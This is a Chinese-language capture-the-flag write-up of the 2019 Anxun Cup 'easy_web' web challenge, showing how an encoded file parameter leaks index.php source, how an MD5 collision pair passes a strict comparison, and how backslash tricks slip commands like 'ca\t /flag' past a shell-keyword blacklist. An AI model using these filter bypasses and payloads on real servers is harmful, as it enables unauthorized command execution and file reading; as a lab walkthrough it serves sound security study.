[安洵杯 2019]easy_web

[安洵杯 2019]easy_web

y4DrQfRJZokpZ5df0GLLpor0ghw0PkKymXQBF-YSvUg

打开页面如图所示,在地址栏发现有img参数和空的cmd参数

ZcveE7fkyPgafauO90mW35zm6-12kpxyHZzTbrCItoc

对img参数进行解码,经过两次base64解码和Hex解码得到555.png

l3NEHxHoAqNPDE4gw1XxNudPJOwSEOcAR6asf1PYtDM

试着读取index.php的源码,也用同样的方式进行编码得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

zDgzcvPyAhK1S2QReEb1Xr_N0bBGsDRw3G7cXUm23oI

放到img参数中发送

M53obn3iwActy0M-SGrAtP8BWMqQQDhRUrOyUCmTGq4

经过base64解码后得到源代码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

代码审计

1.MD5强绕过

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
//以post形式上传参数字符串a和b,ab不能相等,但是经过MD5加密后需要相等

对于一般的MD5强绕过(===)来说,可以直接用数组进行绕过,但是这题用了string强转换,所以利用字符串的MD5强绕过

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

这两串 url 编码进行 urldecode 后 md5 值相同,注意要放进 burp 执行,因为放 hackbar 里会对数据自动进行 url 编码。

2.cmd命令执行

$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) 

这里对cmd的参数的关键字进行了正则匹配过滤,因为|\\|\\\\|只对双斜杠和四斜杠进行了过滤,正则中\\\才相当于一个\,对于preg_match这个函数可以通过单反斜杠\进行绕过,也就是说可以

ls  -> l\s
cat -> ca\t

payload:

cmd=l\s+/ //列出根路径

cmd=ca\t%20/flag
绝对路径:cmd=/bin/ca\t%20/flag
stings读取flag:cmd=strings%20/flag
sort比较读取flag:cmd=sort%20/flag
//以后空格都尽量用%20代替

jDs6VNdr5Atvnh7wvEKMzqIRiKwNDfOlk0HpZ-5w3Jk

dQPfIuELXDs4uIFfRYL8ScI6uHebtcLiLFBfz94qTCw

q3Ay7k-nQV9Wxsa1VSPOO6D8J1oOPWNvR0ZlsXEfTOA

LadO55GbFcv68eoXc8mX1t-QdLSrVq1VrYC-9cqEymE

3.对于反斜杠的测试

php中:
echo '\';     //报错
echo '\\';    //返回\
echo '\\\';   //报错
echo '\\\\';  //返回\\
echo '\\\\\';  //报错
echo '\\\\\\';  //返回\\\
可以看出当\的数量为基数的时候都报错,偶数的时候返回一半的数量

4.对于sort的解释

sort的定义:

sort将文件的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码进行比较,最后将它们按升序输出(就是按行排序)。

参考文章:

https://sculptor-liu.github.io/2021/03/20/%E5%AE%89%E6%B4%B5%E6%9D%AF-2019-easy-web/

https://www.cnblogs.com/Sentry-fei/p/15487427.html

posted on 2024-03-26 14:49  跳河离去的鱼  阅读(47)  评论(0编辑  收藏  举报